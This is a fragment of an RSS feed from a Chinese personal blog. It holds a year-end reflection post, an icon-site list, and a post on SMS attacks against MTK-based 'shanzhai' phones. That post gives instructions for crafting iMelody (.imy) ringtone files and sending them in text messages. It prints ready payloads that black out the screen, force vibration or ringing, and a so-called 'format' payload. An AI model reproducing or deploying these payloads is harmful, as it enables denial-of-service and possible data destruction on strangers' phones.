border=&quot;0&quot;&gt;&lt;/a&gt;&lt;/p&gt;</description><category>爱情</category><category>胡歌</category><category>传奇</category><category>影音书籍</category><category>神话</category><category>历史</category><pubDate>Wed, 06 Jan 2010 13:49:32 +0800</pubDate><author>Pray</author><comments>http://www.nodll.com/2010/01/06/shenhua/Pray.html#comments</comments><guid isPermaLink="false">http://www.nodll.com/?p=226</guid><dc:creator>Pray</dc:creator><fs:srclink>http://www.nodll.com/2010/01/06/shenhua/Pray.html</fs:srclink><fs:srcfeed>http://www.nodll.com/feed</fs:srcfeed><fs:itemid>feedsky/PraysBlog/~7927926/323288962/6037734</fs:itemid></item><item><title>写在09年的最后一天</title><link>http://item.feedsky.com/~feedsky/PraysBlog/~7927926/323288979/6037734/1/item.html</link><content:encoded>&lt;p&gt;　　写在09年的最后一天，以纪念，即将逝去的一年。或者说，这是一种自我安慰，想挽留着这一年的时光。&lt;/p&gt;
&lt;p&gt;　　09年最后一天里，在家乡度过的，阴沉沉的天，冷冷的天气，见不到阳光的微笑。今天适合坐在家里，看看书，回忆些09年的往事，可脑子不听使唤，回忆总是绕着代码那里徘徊。&lt;/p&gt;
&lt;p&gt;　　今天的流走，时光的飞逝，大家在这一年收获的不少东西吧。&lt;br /&gt;
   &lt;br /&gt;
　　不知道为什么，感觉09年的过去，并不单单代表着一年的过去，而是十年。就像上世纪的八十年代、九十年代，都是以十年为单位的，所以说，进入2010，一个崭新的年代。而我们这个年代又要试着跟进新年代的生活。&lt;/p&gt;
&lt;p&gt;　　从小父亲就教我写作文，而今天，写的特别少，在这个月、这一年、这个年代的最后一天，祝大家新年快乐。&lt;/p&gt;
&lt;p&gt;文章地址:&lt;span id=&quot;sample-permalink&quot;&gt;&lt;a href=&quot;http://www.nodll.com/2009/12/31/09time/Pray.html&quot; target=&quot;_blank&quot;&gt;http://www.nodll.com/2009/12/31/&lt;span id=&quot;editable-post-name&quot; title=&quot;点击编辑这部分固定链接&quot;&gt;09time&lt;/span&gt;/Pray.html&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;img src=&quot;http://www1.feedsky.com/t1/323288979/PraysBlog/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/PraysBlog/~7927926/323288979/6037734/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/PraysBlog/323288979/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/PraysBlog/323288979/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class=&quot;fsflare&quot;&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=af0a060e6f2efd74cadc91ea1a22a9c6&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=af0a060e6f2efd74cadc91ea1a22a9c6&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=3fb55e710e8ba128686850d97effd472&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=3fb55e710e8ba128686850d97effd472&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=6d73badcdd91d4c6c8bb639c1467461e&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=6d73badcdd91d4c6c8bb639c1467461e&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=dd6515aa44ff28a1b90110697b801c8a&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=dd6515aa44ff28a1b90110697b801c8a&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=72ccc6d605d5ddb6bcd9931d768ccd8f&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=72ccc6d605d5ddb6bcd9931d768ccd8f&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=475fb1978dce5f3d8e865e1a2b2af419&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=475fb1978dce5f3d8e865e1a2b2af419&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=b730006769b0b84fe086b40fdabbb44e&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=b730006769b0b84fe086b40fdabbb44e&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=c87a72783c553f475092a36bf7b4e2fa&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=c87a72783c553f475092a36bf7b4e2fa&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=1791c603c67ec563e51a7146ddca21c3&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=1791c603c67ec563e51a7146ddca21c3&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;/p&gt;</content:encoded><wfw:commentRss>http://www.nodll.com/2009/12/31/09time/Pray.html/feed</wfw:commentRss><slash:comments>29</slash:comments><description>　　写在09年的最后一天，以纪念，即将逝去的一年。或者说，这是一种自我安慰，想挽留着这一年的时光。
　　09年最后一天里，在家乡度过的，阴沉沉的天，冷冷的天气，见不到阳光的微笑。今天适合坐在家里，看看书，回忆些09年的往事，可脑子不听使唤，回忆总是绕着代码那里徘徊。
　　今天的流走，时光的飞逝，大家在这一年收获的不少东西吧。
   
　　不知道为什么，感觉09年的过去，并不单单代表着一年的过去，而是十年。就像上世纪的八十年代、九十年代，都是以十年为单位的，所以说，进入2010，一个崭新的年代。而我们这个年代又要试着跟进新年代的生活。
　　从小父亲就教我写作文，而今天，写的特别少，在这个月、这一年、这个年代的最后一天，祝大家新年快乐。
文章地址:http://www.nodll.com/2009/12/31/09time/Pray.html&lt;img src=&quot;http://www1.feedsky.com/t1/323288979/PraysBlog/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/PraysBlog/~7927926/323288979/6037734/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/PraysBlog/323288979/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/PraysBlog/323288979/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class=&quot;fsflare&quot;&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=af0a060e6f2efd74cadc91ea1a22a9c6&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=af0a060e6f2efd74cadc91ea1a22a9c6&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=3fb55e710e8ba128686850d97effd472&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=3fb55e710e8ba128686850d97effd472&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=6d73badcdd91d4c6c8bb639c1467461e&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=6d73badcdd91d4c6c8bb639c1467461e&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=dd6515aa44ff28a1b90110697b801c8a&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=dd6515aa44ff28a1b90110697b801c8a&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=72ccc6d605d5ddb6bcd9931d768ccd8f&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=72ccc6d605d5ddb6bcd9931d768ccd8f&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=475fb1978dce5f3d8e865e1a2b2af419&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=475fb1978dce5f3d8e865e1a2b2af419&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=b730006769b0b84fe086b40fdabbb44e&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=b730006769b0b84fe086b40fdabbb44e&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=c87a72783c553f475092a36bf7b4e2fa&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=c87a72783c553f475092a36bf7b4e2fa&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=1791c603c67ec563e51a7146ddca21c3&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=1791c603c67ec563e51a7146ddca21c3&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;/p&gt;</description><category>逝去</category><category>回忆</category><category>纪念</category><category>情感随笔</category><category>时光</category><pubDate>Thu, 31 Dec 2009 13:30:50 +0800</pubDate><author>Pray</author><comments>http://www.nodll.com/2009/12/31/09time/Pray.html#comments</comments><guid isPermaLink="false">http://www.nodll.com/?p=219</guid><dc:creator>Pray</dc:creator><fs:srclink>http://www.nodll.com/2009/12/31/09time/Pray.html</fs:srclink><fs:srcfeed>http://www.nodll.com/feed</fs:srcfeed><fs:itemid>feedsky/PraysBlog/~7927926/323288979/6037734</fs:itemid></item><item><title>MTK方案4种手机短信漏洞</title><link>http://item.feedsky.com/~feedsky/PraysBlog/~7927926/323289004/6037734/1/item.html</link><content:encoded>&lt;p&gt;影响手机品牌：所有MTK方案手机（也就是我们常说的山寨手机）&lt;br /&gt;
且 写短信时有【“选项”——“插入对象”——“我的铃声”】这一功能（大部分山寨手机都有此功能）&lt;/p&gt;
&lt;p&gt;漏洞原理：&lt;br /&gt;
在大部分MTK方案手机中，编写短信息的时候可以插入一种“imy”格式的铃声文件，&lt;br /&gt;
而具有同样功能的手机接收到此短信后在查看信息内容的同时可以听到短信息内插入的铃声&lt;br /&gt;
由于MTK方案手机在阅读短信息的时候对“imy”文件内容不经过过滤而直接执行。&lt;br /&gt;
所以我们可以在“imy”文件内插入代码，通过代码调用手机的解码芯片发出一些声音甚至一些核心指令。&lt;br /&gt;
通过这种方式可实现对MTK方案手机的短信攻击。&lt;/p&gt;
&lt;p&gt;操作方式：&lt;br /&gt;
在电脑上新建文本文档，写入代码，保存为“imy”格式文件。&lt;br /&gt;
将这个文件放入手机的“Audio”文件夹内。（注意，一定是手机的“Audio”文件夹，而非内存卡上。）&lt;br /&gt;
用手机编辑短信，“选项”——“插入对象”——“我的铃声”，选择你写的“imy”文件。&lt;br /&gt;
完成，发送&amp;#8230;&lt;/p&gt;
&lt;p&gt;黑屏代码：&lt;/p&gt;

&lt;div class=&quot;wp_syntax&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;line_numbers&quot;&gt;&lt;pre&gt;1
2
3
4
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre class=&quot;language&quot; style=&quot;font-family:monospace;&quot;&gt;BEGIN:IMELODY
BEAT:1200
MELODY:(ledoffbackoffvibeoffr5ledoffbackoffvibeoffr5@600)
END:IMELODY&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;猛震代码：&lt;/p&gt;

&lt;div class=&quot;wp_syntax&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;line_numbers&quot;&gt;&lt;pre&gt;1
2
3
4
5
6
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre class=&quot;language&quot; style=&quot;font-family:monospace;&quot;&gt;BEGIN:IMELODY
VERSION:1.2
FORMAT:CLASS1.0
BEAT:100
MELODY:(ledoffledonbackoffbackonvibeon@300)
END:IMELODY&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;振铃代码：&lt;/p&gt;

&lt;div class=&quot;wp_syntax&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;line_numbers&quot;&gt;&lt;pre&gt;1
2
3
4
5
6
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre class=&quot;language&quot; style=&quot;font-family:monospace;&quot;&gt;BEGIN:IMELODY
VERSION:1.2
FORMAT:CLASS1.0
BEAT:200
MELODY:(ledoffbackoffvibeonr5vibeoffledonbackonr5@200)
END:IMELODY&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;格式化代码：（请慎用）&lt;/p&gt;

&lt;div class=&quot;wp_syntax&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;line_numbers&quot;&gt;&lt;pre&gt;1
2
3
4
5
6
7
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre class=&quot;language&quot; style=&quot;font-family:monospace;&quot;&gt;BEGIN:IMELODY
VERSION:1.2
FORMAT:CLASS1.0
COMPOSER:MTK(23)Fomat
BEAT:180
MELODY:backoffbackofffbackoffbackoffbackoffbackoffbackoffbackoffbackoff
(+&amp;quot;@9999999999999999999999999&amp;quot;&amp;amp;gt;&amp;quot;++&amp;quot;@9999999999999999999999999)&amp;quot;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;注意:“@”后面的数字越大，重复次数越多&lt;/p&gt;
&lt;p&gt;预防MTK手机漏洞：&lt;br /&gt;
　　MTK所有支持imy铃声的手机都会中招。至于预防，我想这是很难的，毕竟只要触发就会中招，只能是看到类似的短信立即关闭，不继续翻阅从而避免激活imy文件代码。当然，这只是相对的，如果对方发送的短信是先插入的imy文件再写文字的话，那就不可避免了。更好的方法，不要打开本地接受到的短信，用飞信接受对方发来的短信信息。&lt;/p&gt;
&lt;p&gt;文章地址:&lt;span id=&quot;sample-permalink&quot;&gt;&lt;a href=&quot;http://www.nodll.com/2009/12/21/mtkbug/Pray.html&quot; target=&quot;_blank&quot;&gt;http://www.nodll.com/2009/12/21/&lt;span id=&quot;editable-post-name&quot; title=&quot;点击编辑这部分固定链接&quot;&gt;mtkbug&lt;/span&gt;/Pray.html&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;img src=&quot;http://www1.feedsky.com/t1/323289004/PraysBlog/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/PraysBlog/~7927926/323289004/6037734/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/PraysBlog/323289004/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/PraysBlog/323289004/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class=&quot;fsflare&quot;&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=a0d68af213065536007513ad76823547&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=a0d68af213065536007513ad76823547&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=daeb9a6123eb35e1762727088110b571&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=daeb9a6123eb35e1762727088110b571&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=7d8809ccaf33a9cfe08c7dc64bce2511&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=7d8809ccaf33a9cfe08c7dc64bce2511&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=1bf0d0b449007bc6a45efef21c9c3005&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=1bf0d0b449007bc6a45efef21c9c3005&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=4c88830cc5ca21b328300f84fd57ffaa&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=4c88830cc5ca21b328300f84fd57ffaa&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=5bccc9df75257cd3b521ab43c30ea423&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=5bccc9df75257cd3b521ab43c30ea423&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=d7b8fcb613ecb43a06bd98220eb783fb&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=d7b8fcb613ecb43a06bd98220eb783fb&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=a4c5f665e652fd5b4a91bc8a7e0af3fa&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=a4c5f665e652fd5b4a91bc8a7e0af3fa&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=00afd0fe471065d579c2e955e016ca89&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=00afd0fe471065d579c2e955e016ca89&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;/p&gt;</content:encoded><wfw:commentRss>http://www.nodll.com/2009/12/21/4mtkbug/Pray.html/feed</wfw:commentRss><slash:comments>58</slash:comments><description>影响手机品牌：所有MTK方案手机（也就是我们常说的山寨手机）
且 写短信时有【“选项”——“插入对象”——“我的铃声”】这一功能（大部分山寨手机都有此功能）
漏洞原理：
在大部分MTK方案手机中，编写短信息的时候可以插入一种“imy”格式的铃声文件，
而具有同样功能的手机接收到此短信后在查看信息内容的同时可以听到短信息内插入的铃声
由于MTK方案手机在阅读短信息的时候对“imy”文件内容不经过过滤而直接执行。
所以我们可以在“imy”文件内插入代码，通过代码调用手机的解码芯片发出一些声音甚至一些核心指令。
通过这种方式可实现对MTK方案手机的短信攻击。
操作方式：
在电脑上新建文本文档，写入代码，保存为“imy”格式文件。
将这个文件放入手机的“Audio”文件夹内。（注意，一定是手机的“Audio”文件夹，而非内存卡上。）
用手机编辑短信，“选项”——“插入对象”——“我的铃声”，选择你写的“imy”文件。
完成，发送&amp;#8230;
黑屏代码：

1
2
3
4
BEGIN:IMELODY
BEAT:1200
MELODY:(ledoffbackoffvibeoffr5ledoffbackoffvibeoffr5@600)
END:IMELODY

猛震代码：

1
2
3
4
5
6
BEGIN:IMELODY
VERSION:1.2
FORMAT:CLASS1.0
BEAT:100
MELODY:(ledoffledonbackoffbackonvibeon@300)
END:IMELODY

振铃代码：

1
2
3
4
5
6
BEGIN:IMELODY
VERSION:1.2
FORMAT:CLASS1.0
BEAT:200
MELODY:(ledoffbackoffvibeonr5vibeoffledonbackonr5@200)
END:IMELODY

格式化代码：（请慎用）

1
2
3
4
5
6
7
BEGIN:IMELODY
VERSION:1.2
FORMAT:CLASS1.0
COMPOSER:MTK(23)Fomat
BEAT:180
MELODY:backoffbackofffbackoffbackoffbackoffbackoffbackoffbackoffbackoff
(+&amp;#34;@9999999999999999999999999&amp;#34;&amp;#38;gt;&amp;#34;++&amp;#34;@9999999999999999999999999)&amp;#34;

注意:“@”后面的数字越大，重复次数越多
预防MTK手机漏洞：
　　MTK所有支持imy铃声的手机都会中招。至于预防，我想这是很难的，毕竟只要触发就会中招，只能是看到类似的短信立即关闭，不继续翻阅从而避免激活imy文件代码。当然，这只是相对的，如果对方发送的短信是先插入的imy文件再写文字的话，那就不可避免了。更好的方法，不要打开本地接受到的短信，用飞信接受对方发来的短信信息。
文章地址:http://www.nodll.com/2009/12/21/mtkbug/Pray.html&lt;img src=&quot;http://www1.feedsky.com/t1/323289004/PraysBlog/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/PraysBlog/~7927926/323289004/6037734/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/PraysBlog/323289004/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/PraysBlog/323289004/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class=&quot;fsflare&quot;&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=a0d68af213065536007513ad76823547&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=a0d68af213065536007513ad76823547&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=daeb9a6123eb35e1762727088110b571&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=daeb9a6123eb35e1762727088110b571&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=7d8809ccaf33a9cfe08c7dc64bce2511&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=7d8809ccaf33a9cfe08c7dc64bce2511&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=1bf0d0b449007bc6a45efef21c9c3005&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=1bf0d0b449007bc6a45efef21c9c3005&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=4c88830cc5ca21b328300f84fd57ffaa&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=4c88830cc5ca21b328300f84fd57ffaa&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=5bccc9df75257cd3b521ab43c30ea423&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=5bccc9df75257cd3b521ab43c30ea423&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=d7b8fcb613ecb43a06bd98220eb783fb&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=d7b8fcb613ecb43a06bd98220eb783fb&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=a4c5f665e652fd5b4a91bc8a7e0af3fa&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=a4c5f665e652fd5b4a91bc8a7e0af3fa&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=00afd0fe471065d579c2e955e016ca89&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=00afd0fe471065d579c2e955e016ca89&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;/p&gt;</description><category>山寨</category><category>格式</category><category>品牌</category><category>漏洞</category><category>手机</category><category>代码</category><category>安全防护</category><pubDate>Mon, 21 Dec 2009 09:23:13 +0800</pubDate><author>Pray</author><comments>http://www.nodll.com/2009/12/21/4mtkbug/Pray.html#comments</comments><guid isPermaLink="false">http://www.nodll.com/?p=192</guid><dc:creator>Pray</dc:creator><fs:srclink>http://www.nodll.com/2009/12/21/4mtkbug/Pray.html</fs:srclink><fs:srcfeed>http://www.nodll.com/feed</fs:srcfeed><fs:itemid>feedsky/PraysBlog/~7927926/323289004/6037734</fs:itemid></item><item><title>4款ICON图标搜索网站</title><link>http://item.feedsky.com/~feedsky/PraysBlog/~7927926/323289015/6037734/1/item.html</link><content:encoded>&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://www.iconfinder.net/&quot; target=&quot;_blank&quot;&gt;Iconfinder&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这是其中一个最好的图标搜索引擎，在它们的数据库里面存储了超过1000多个图标资源，你可以输入一个你需要的相关的图标关键词进行搜索。 其Ajax的导航，使一件轻而易举的找到新的图标。每个图标在搜索结果中进行，其标记，下载链接和许可证信息。 无需翻阅页面得到下载图标，击中下载图标，该图标将被下载。大部分的图标漂亮，可以用来在现代或Web 2.0的设计。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://iconlet.com/&quot; target=&quot;_blank&quot;&gt;Iconlet&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;另一个图标搜索引擎，它也运作良好。 在这里你会得到很多更多的图标下载，但结果并不很清楚分类，你会发现图标分组无关的某些关键字。图标看起来很老式，而不是漂亮。 列出的许可信息不同的网页。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://iconlook.com/&quot; target=&quot;_blank&quot;&gt;Iconlook&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;又一款图标搜索引擎的加入者，列出了许多图标。大部分的图标都很不错，可用于现代的网页设计。图标搜索结果中显示的图标大小。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://icons-search.com/&quot; target=&quot;_blank&quot;&gt;icons-search&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;图标搜索是一个图标的搜索引擎，帮助您查找质量图标因特网上查到。 你可以找到图标用于Windows Vista和Windows XP ， Macintosh上， Linux的图标用于桌面电脑，软件，网站，移动，演示，在大小从16×16到256×256在PNG格式和大小从16×16到128×128 ，在保险公司条例格式。 图标的版权均属于各自所有权人所有。使用前的图标（或者非商业或商业）您必须检查许可证的图标提供商。它通常可在图标供应商的网站或在图标存档。&lt;/p&gt;
&lt;p&gt;文章地址:&lt;span id=&quot;sample-permalink&quot;&gt;&lt;a href=&quot;http://www.nodll.com/2009/12/18/4icon/Pray.html&quot; target=&quot;_blank&quot;&gt;http://www.nodll.com/2009/12/18/&lt;span id=&quot;editable-post-name&quot; title=&quot;点击编辑这部分固定链接&quot;&gt;4icon&lt;/span&gt;/Pray.html&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;img src=&quot;http://www1.feedsky.com/t1/323289015/PraysBlog/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/PraysBlog/~7927926/323289015/6037734/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/PraysBlog/323289015/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/PraysBlog/323289015/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class=&quot;fsflare&quot;&gt;&lt;a 